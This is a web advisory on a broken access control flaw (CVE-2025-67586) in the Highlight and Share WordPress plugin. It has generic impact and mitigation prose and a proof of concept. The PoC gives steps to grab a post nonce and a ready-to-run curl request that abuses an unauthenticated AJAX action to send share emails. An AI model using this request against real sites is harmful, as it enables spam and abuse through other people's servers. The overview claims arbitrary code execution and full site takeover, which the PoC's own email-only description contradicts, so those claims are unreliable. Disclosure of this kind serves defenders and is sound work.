WordPress Plugin Vulnerability: CVE-2025-67586 – Broken Access Control
The recently discovered vulnerability in the WordPress Plugin version 5.2.0, identified as CVE-2025-67586, pertains to a critical broken access control issue. This flaw allows unauthorized users to gain access to restricted functionalities within the plugin, potentially compromising the security of WordPress installations across various websites.
Technical Details
This vulnerability arises from improper validation of user permissions in the WordPress Plugin, enabling attackers to exploit the access control mechanisms. Specifically, the flaw occurs when the plugin fails to enforce adequate authentication checks, allowing unauthenticated users to perform actions that should be restricted to authenticated users. An attacker can leverage this by crafting malicious requests to access sensitive endpoints or modify data without proper authorization.
For example, an attacker could exploit this vulnerability to change settings, view sensitive information, or even execute arbitrary code on the server. The absence of correct access controls means that once an attacker identifies a vulnerable installation, they can potentially escalate their privileges and gain full control over the affected site.
Impact
The consequences of exploiting CVE-2025-67586 can be severe. Websites may suffer from unauthorized data exposure, loss of integrity, and even complete takeover of the site. This can lead to reputational damage, loss of user trust, and potential legal ramifications for not safeguarding user data. In a broader context, it could also facilitate further attacks on the underlying server infrastructure.
Mitigation
To protect against CVE-2025-67586, website administrators should immediately update the affected WordPress Plugin to the latest version where the vulnerability has been patched. Regularly monitoring and applying security patches is crucial for maintaining a secure WordPress environment. Additionally, implementing strong authentication mechanisms, such as two-factor authentication (2FA), can help mitigate unauthorized access risks.
Security professionals are also advised to conduct regular security audits and vulnerability assessments to identify and remediate any potential weaknesses in their WordPress installations. Utilizing a web application firewall (WAF) can further enhance security by filtering out malicious traffic and protecting against exploitation attempts.
Proof of Concept (PoC)
# Exploit Title: WordPress Plugin 5.2.0 - Broken Access Control
# Date: 2025-09-20
# Exploit Author: Zeeshan Haider
# Vendor Homepage: https://wordpress.org/plugins/
# Software Link: https://wordpress.org/plugins/highlight-and-share/
# Version: <= 5.2.0 (REQUIRED)
# Tested on: WordPress 6.x, Kali Linux
# CVE: CVE-2025-67586
==> Description
A broken access control vulnerability exists in a WordPress plugin developed by DLX Plugins.
The plugin exposes an unauthenticated AJAX action that allows attackers to abuse the
"Share via Email" functionality without proper permission checks.
An unauthenticated attacker can reuse a valid post nonce to trigger email sharing requests,
leading to unauthorized email sending (email spam / abuse) without user authentication.
==> Privileges Required
None (Unauthenticated)
==> Proof of Concept (PoC)
> Step 1: Pick website with Installed Plugin
> Step 2: Obtain a Valid Nonce
1. Open a public post.
2. Highlight text and click **Share via Email**.
3. Open Developer Tools → Network → XHR.
4. Send the email once.
5. Capture the request containing:
action=has_email_social_modal
nonce=<NONCE>
post_id=<POSTID>
Step 3: Exploit via Unauthenticated Request
> bash cmd: (replace website URL, post URL, and nonce)
curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php'
-d 'action=has_email_form_submission'
-d 'formData[postId]=<POSTID>'
-d 'formData[permalink]=http://localhost/?p=<POSTID>'
-d 'formData[nonce]=<NONCE>'
-d 'formData[toEmail][email protected]'
-d 'formData[subject]=PoC'
-d 'formData[shareText]=POC test'
-d 'formData[emailShareType]=selection'
--compressed
--> Expected JSON response:
{
"success": true,
"data": {
"errors": false,
"message_title": "This post has been shared!",
"message_body": "You have shared this post with [email protected]",
"message_subject": "[Shared Post] <POST TITLE>",
"message_source_name": "Site Name",
"message_source_email": "[email protected]"
}
}